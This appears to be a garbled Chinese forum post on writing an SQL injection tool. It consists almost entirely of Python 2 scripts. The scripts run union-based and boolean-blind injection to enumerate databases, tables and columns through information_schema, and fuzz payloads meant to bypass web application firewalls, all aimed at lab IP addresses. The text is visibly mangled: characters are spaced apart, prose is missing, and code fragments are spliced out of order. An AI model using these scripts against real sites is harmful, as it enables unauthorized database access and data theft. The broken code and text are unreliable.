[966] 2020-02-22_如何编写一个SQL注入工具

文档创建者:s7ckTeam
浏览次数:9
最后更新:2025-01-16
2020-02-22_如何编写一个SQL注入工具 S Q L   B y p a s s   B y p a s s   2 0 2 0 - 0 2 - 2 2 0 x 0 1         p a y l o a d 0 x 0 2   S Q L A u n i o n   s e l e c t   - - - - - - - - -     B     p a y l o a d G E T - - - - - - - - - - # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ i m p o r t   r e q u e s t s i m p o r t   u r l l i b i m p o r t   r e v a l u e s = { } d e f   g e t ( u r l , v a l u e s ) :         d a t a   =   u r l l i b . u r l e n c o d e ( v a l u e s )         g e t u r l   =   u r l + ' ? ' + d a t a         r e s p o n s e   =   r e q u e s t s . g e t ( g e t u r l )         r e s u l t = r e s p o n s e . c o n t e n t         f i n d _ l i s t = r e . f i n d a l l ( r " q w e ~ ( . + ? ) ~ q w e " ,   r e s u l t )         i f   l e n ( f i n d _ l i s t ) > 0 :                 r e t u r n   f i n d _ l i s t d e f   g e t _ d a t a b a s e _ n a m e ( u r l ) :         v a l u e s [ ' i d ' ]   =   " 1   a n d   1 = 2   u n i o n   s e l e c t   1 , c o n c a t ( 0 x 7 1 7 7 6 5 7 E , s c h e m a _ n a m e , 0 x 7 E 7 1 7 7 6 5 )   f r o m   I N F O R M A T I O N _ S C H E M A . S C H E M A T A "           n a m e _ l i s t = g e t ( u r l , v a l u e s )         p r i n t   ' T h e   d a t a b a s e s : '         f o r   i   i n   n a m e _ l i s t :                 p r i n t   i + "   " ,         p r i n t   " n " d e f   t a b l e _ n a m e ( u r l ) :         d a t a b a s e _ n a m e = r a w _ i n p u t ( ' p l e a s e   i n p u t   y o u r   d a t a b a s e : ' )         v a l u e s [ ' i d ' ]   =   " 1     u n i o n   s e l e c t   1 , c o n c a t ( 0 x 7 1 7 7 6 5 7 E , t a b l e _ n a m e , 0 x 7 E 7 1 7 7 6 5 )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = " + " ' " + d a t a b a s e _ n a m e + " ' "         n a m e _ l i s t = g e t ( u r l , v a l u e s )         p r i n t   ' T h e   t a b l e   i s   : '         f o r   i   i n   n a m e _ l i s t :                 p r i n t   i + "   " ,         p r i n t   " n " d e f   c o l u m n _ n a m e ( u r l ) :         t a b l e _ n a m e = r a w _ i n p u t ( ' p l e a s e   i n p u t   y o u r   t a b l e : ' )         v a l u e s [ ' i d ' ]   =   " 1       u n i o n   s e l e c t   1 , c o n c a t ( 0 x 7 1 7 7 6 5 7 E , c o l u m n _ n a m e , 0 x 7 E 7 1 7 7 6 5 )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = " + " ' " + t a b l e _ n a m e + " ' "         n a m e _ l i s t = g e t ( u r l , v a l u e s )         p r i n t   ' T h e   c o l u m n   i s   : '         f o r   i   i n   n a m e _ l i s t :                 p r i n t   i + "   " , i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         u r l = ' h t t p : / / 1 9 2 . 1 6 8 . 1 0 6 . 1 3 0 / c o n f i g / s q l . p h p '         g e t _ d a t a b a s e _ n a m e ( u r l )         t a b l e _ n a m e ( u r l )         c o l u m n _ n a m e ( u r l ) # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ i m p o r t   r e q u e s t s i m p o r t   u r l l i b i m p o r t   t i m e
s t a r t _ t i m e   =   t i m e . t i m e ( ) d e f   d a t a b a s e _ l e n g t h ( u r l ) :         v a l u e s = { }         f o r   i   i n   r a n g e ( 1 , 1 0 0 ) :                 v a l u e s [ ' i d ' ]   =   " 1   a n d   ( s e l e c t   l e n g t h ( d a t a b a s e ( ) ) ) = % s "   % i                 d a t a   =   u r l l i b . u r l e n c o d e ( v a l u e s )                 g e t u r l   =   u r l + ' ? ' + d a t a                 r e s p o n s e   =   r e q u e s t s . g e t ( g e t u r l )                 i f   r e s p o n s e . c o n t e n t . f i n d ( ' q w e r t y a s d ' ) > 0 :                         r e t u r n   i d e f   d a t a b a s e _ n a m e ( u r l ) :         p a y l o a d s   =   ' a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 @ _ . '         v a l u e s = { }         d a t a b a s e n a m e =   ' '         a a   =   1 5         a a   =   d a t a b a s e _ l e n g t h ( u r l )         f o r   i   i n   r a n g e ( 1 ,   a a + 1 ) :                 f o r   p a y l o a d   i n   p a y l o a d s :                         v a l u e s [ ' i d ' ]   =   " 1   a n d   a s c i i ( s u b s t r i n g ( d a t a b a s e ( ) , % s , 1 ) ) = % s   "   % ( i , o r d ( p a y l o a d ) )                         d a t a   =   u r l l i b . u r l e n c o d e ( v a l u e s )                         g e t u r l   =   u r l + ' ? ' + d a t a                         r e s p o n s e   =   r e q u e s t s . g e t ( g e t u r l )                         i f   r e s p o n s e . c o n t e n t . f i n d ( ' q w e r t y a s d ' ) > 0 :                                 d a t a b a s e n a m e   + =   p a y l o a d         r e t u r n   d a t a b a s e n a m e # p r i n t   d a t a b a s e _ n a m e ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 2 5 . 1 2 9 / c o n f i g / s q l . p h p ' )                 d e f   t a b l e _ c o u n t ( u r l , d a t a b a s e ) :         v a l u e s = { }         f o r   i   i n   r a n g e ( 1 , 1 0 0 ) :                 v a l u e s [ ' i d ' ]   =   " 1   a n d   ( s e l e c t   c o u n t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = " + " ' " + d a t a b a s e + " ' ) " + " = % s "   % i                 d a t a   =   u r l l i b . u r l e n c o d e ( v a l u e s )                 g e t u r l   =   u r l + ' ? ' + d a t a                 r e s p o n s e   =   r e q u e s t s . g e t ( g e t u r l )                 i f   r e s p o n s e . c o n t e n t . f i n d ( ' q w e r t y a s d ' ) > 0 :                         r e t u r n   i d e f   t a b l e _ l e n g t h ( u r l , a , d a t a b a s e ) :         v a l u e s = { }           f o r   i   i n   r a n g e ( 1 , 1 0 0 ) :                 v a l u e s [ ' i d ' ]   =   " 1   a n d   ( s e l e c t   l e n g t h ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = " + " ' " + d a t a b a s e + " ' " + "   l i m i t   % s , 1 ) = % s "   % ( a , i )                 d a t a   =   u r l l i b . u r l e n c o d e ( v a l u e s )                 g e t u r l   =   u r l + ' ? ' + d a t a                 r e s p o n s e   =   r e q u e s t s . g e t ( g e t u r l )                 i f   r e s p o n s e . c o n t e n t . f i n d ( ' q w e r t y a s d ' ) > 0 :                         r e t u r n   i d e f   t a b l e _ n a m e ( u r l , d a t a b a s e ) :         p a y l o a d s   =   ' a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 @ _ . '         v a l u e s = { }         t a b l e _ n a m e = [ ]         b b   =   t a b l e _ c o u n t ( u r l , d a t a b a s e )         f o r   i   i n   r a n g e ( 0 , b b + 1 ) :                 u s e r =   ' '                 c c = t a b l e _ l e n g t h ( u r l , i , d a t a b a s e )                 i f   c c = = N o n e :                         b r e a k                 f o r   j   i n   r a n g e ( 0 , c c + 1 ) :                         f o r   p a y l o a d   i n   p a y l o a d s :                                 v a l u e s [ ' i d ' ]   =   " 1   a n d   a s c i i ( s u b s t r i n g ( ( s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = " + " ' " + d a t a b a s e + " ' " + "   l i m i t   % s , 1 ) , % s , 1 ) ) = % s   "   % ( i , j ,                                 d a t a   =   u r l l i b . u r l e n c o d e ( v a l u e s )                                 g e t u r l   =   u r l + ' ? ' + d a t a                                 r e s p o n s e   =   r e q u e s t s . g e t ( g e t u r l )                                 i f   r e s p o n s e . c o n t e n t . f i n d ( ' q w e r t y a s d ' ) > 0 :                                         u s e r   + =   p a y l o a d                                         # p r i n t   p a y l o a d                 t a b l e _ n a m e . a p p e n d ( u s e r )         r e t u r n   t a b l e _ n a m e         # p r i n t   t a b l e _ n a m e ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 2 5 . 1 2 9 / c o n f i g / s q l . p h p ' , ' t e s t ' ) d e f   c o l u m n _ c o u n t ( u r l , t a b l e _ n a m e ) :         v a l u e s = { }         f o r   i   i n   r a n g e ( 1 , 1 0 0 ) :                 v a l u e s [ ' i d ' ]   =   " 1   a n d   ( s e l e c t   c o u n t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = " + " ' " + t a b l e _ n a m e + " ' " + " ) = % s "   % i                 d a t a   =   u r l l i b . u r l e n c o d e ( v a l u e s )                 g e t u r l   =   u r l + ' ? ' + d a t a                 r e s p o n s e   =   r e q u e s t s . g e t ( g e t u r l )                 i f   r e s p o n s e . c o n t e n t . f i n d ( ' q w e r t y a s d ' ) > 0 :                         r e t u r n   i
0 x 0 3   E N D     S Q L W A F W A F W A F   F U Z Z F U Z Z W A F F U Z Z 姿 C C                         r e t u r n   i d e f   c o l u m n _ l e n g t h ( n u m , u r l , t a b l e _ n a m e ) :         v a l u e s = { }         f o r   i   i n   r a n g e ( 1 , 1 0 0 ) :                 l i m i t   =   "   l i m i t   % s , 1 ) = % s "   % ( n u m , i )                 v a l u e s [ ' i d ' ]   =   " 1   a n d   ( s e l e c t   l e n g t h ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = " + " ' " + t a b l e _ n a m e + " ' " + l i m i t                 d a t a   =   u r l l i b . u r l e n c o d e ( v a l u e s )                 g e t u r l   =   u r l + ' ? ' + d a t a                 r e s p o n s e   =   r e q u e s t s . g e t ( g e t u r l )                 i f   r e s p o n s e . c o n t e n t . f i n d ( ' q w e r t y a s d ' ) > 0 :                         r e t u r n   i d e f   c o l u m n _ n a m e ( u r l , t a b l e _ n a m e ) :         p a y l o a d s   =   ' a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 @ _ . '         v a l u e s = { }         c o l u m n _ n a m e = [ ]         d d = c o l u m n _ c o u n t ( u r l , t a b l e _ n a m e )         f o r   i   i n   r a n g e ( 0 , d d + 1 ) :                 u s e r =   ' '                 b b = c o l u m n _ l e n g t h ( i , u r l , t a b l e _ n a m e )                 i f   b b = = N o n e :                         b r e a k                 f o r   j   i n   r a n g e ( 0 , b b + 1 ) :                         f o r   p a y l o a d   i n   p a y l o a d s :                                 l i m i t = "   l i m i t   % s , 1 ) , % s , 1 ) ) = % s "   % ( i , j , o r d ( p a y l o a d ) )                                 v a l u e s [ ' i d ' ]   =   " 1   a n d   a s c i i ( s u b s t r i n g ( ( s e l e c t   c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = " + " ' " + t a b l e _ n a m e + " ' " + l i m i t                                 d a t a   =   u r l l i b . u r l e n c o d e ( v a l u e s )                                 g e t u r l   =   u r l + ' ? ' + d a t a                                 r e s p o n s e   =   r e q u e s t s . g e t ( g e t u r l )                                 i f   r e s p o n s e . c o n t e n t . f i n d ( ' q w e r t y a s d ' ) > 0 :                                         u s e r   + =   p a y l o a d                 c o l u m n _ n a m e . a p p e n d ( u s e r )         r e t u r n   c o l u m n _ n a m e # p r i n t   c o l u m n _ n a m e ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 2 5 . 1 2 9 / c o n f i g / s q l . p h p ' , ' a d m i n ' ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         u r l = ' h t t p : / / 1 9 2 . 1 6 8 . 1 2 5 . 1 2 9 / c o n f i g / s q l . p h p '         d a t a b a s e n a m e = d a t a b a s e _ n a m e ( u r l )         p r i n t   " T h e   c u r r e n t   d a t a b a s e : " + d a t a b a s e n a m e                 d a t a b a s e = r a w _ i n p u t ( " P l e a s e   i n p u t   y o u r   d a t a b a s e n a m e :   " )         t a b l e s = t a b l e _ n a m e ( u r l , d a t a b a s e )         p r i n t   d a t a b a s e + "   h a v e   t h e   t a b l e s : " ,         p r i n t   t a b l e s         f o r   t a b l e   i n   t a b l e s :                 p r i n t   t a b l e + "   h a v e   t h e   c o l u m n s : "                 p r i n t   c o l u m n _ n a m e ( u r l , t a b l e )         p r i n t   ' U s e   f o r :   % d   s e c o n d '   %   ( t i m e . t i m e ( )   -   s t a r t _ t i m e ) # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ i m p o r t   u r l l i b i m p o r t   u r l l i b 2 i m p o r t   r e q u e s t s v a l u e s = { } f   =   o p e n ( ' m u t o u . t x t ' , ' r ' ) f o r   l i n e   i n   f . x r e a d l i n e s ( ) :         l i n e   = l i n e . s t r i p ( )         v a l u e s [ ' i d ' ]   =   " 1   u n i o n / * % s * / s e l e c t / * % s * / 1 , u s e r ( ) "   % ( l i n e , l i n e )         d a t a   =   u r l l i b . u r l e n c o d e ( v a l u e s )         u r l   =   " h t t p : / / 1 9 2 . 1 6 8 . 1 2 5 . 1 4 0 / p h p / c o n f i g / s q l . p h p "         u r l   =   u r l + ' ? ' + d a t a         t r y :
        t r y :                 r e s p o n s e   =   r e q u e s t s . g e t ( u r l )                 r e s u l t   =   r e s p o n s e . c o n t e n t                 # p r i n t   r e s u l t                 i f   r e s u l t . c o u n t ( ' r o o t ' ) :                         p r i n t   l i n e                         p r i n t   u r l                         p r i n t   " = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = "                 e l s e :                         p a s s                         # p r i n t   " . " ,         e x c e p t :                 p r i n t   " E r r o r " # !   / u s r / b i n / e n v   p y t h o n #   _ * _     c o d i n g : u t f - 8   _ * _ i m p o r t   r e q u e s t s f u z z _ d i c 1   =   [ ' * / ' , ' / * ' , ' * / ' , ' / * ! ' , ' * ' , ' = ' , ' ` ' , ' ! ' , ' @ ' , ' % ' , ' . ' , ' - ' , ' + ' , ' | ' , ' % 0 0 ' ] f u z z _ d i c 2   =   [ ' * / ' , ' ' , '   ' , ' / * ! ' ] f u z z _ d i c 3   =   [ ' / * ! ' , " % a 0 " , " 0 c " , " % 0 a " , " % 0 b " , " % 0 c " , " % 0 d " , " % 0 e " , " % 0 f " , " % 0 g " , " % 0 h " , " % 0 i " , " % 0 j " ] h e a d e r s = { " U s e r - A g e n t " : " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 4 9 . 0 . 2 6 2 3 . 2 2 1   S a f a r i / 5 3 7 . 3 6   S E   2 . X   M e t a S r   1 . 0 " } u r l = " h t t p : / / 1 9 2 . 1 6 8 . 1 2 5 . 1 4 0 / p h p / c o n f i g / s q l . p h p ? i d = 1 " f o r   i   i n   f u z z _ d i c 1 :         f o r   j   i n   f u z z _ d i c 2 :                 f o r   k   i n   f u z z _ d i c 3 :                         p a y l o a d = " / * ! u n i o n " + i + j + k + " s e l e c t * /   1 , u s e r ( ) "                         g e t u r l = u r l + p a y l o a d                         # p r i n t   g e t u r l                         t r y :                                 r e s p o n s e = r e q u e s t s . g e t ( u r l = g e t u r l , h e a d e r s = h e a d e r s )                                 r e s u l t   =   r e s p o n s e . c o n t e n t                                 # p r i n t   r e s u l t                                 i f   r e s u l t . c o u n t ( ' r o o t ' ) :                                         p r i n t   g e t u r l                                 e l s e :                                         p r i n t   " . " ,                         e x c e p t :                                 p r i n t   " E r r o r "
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则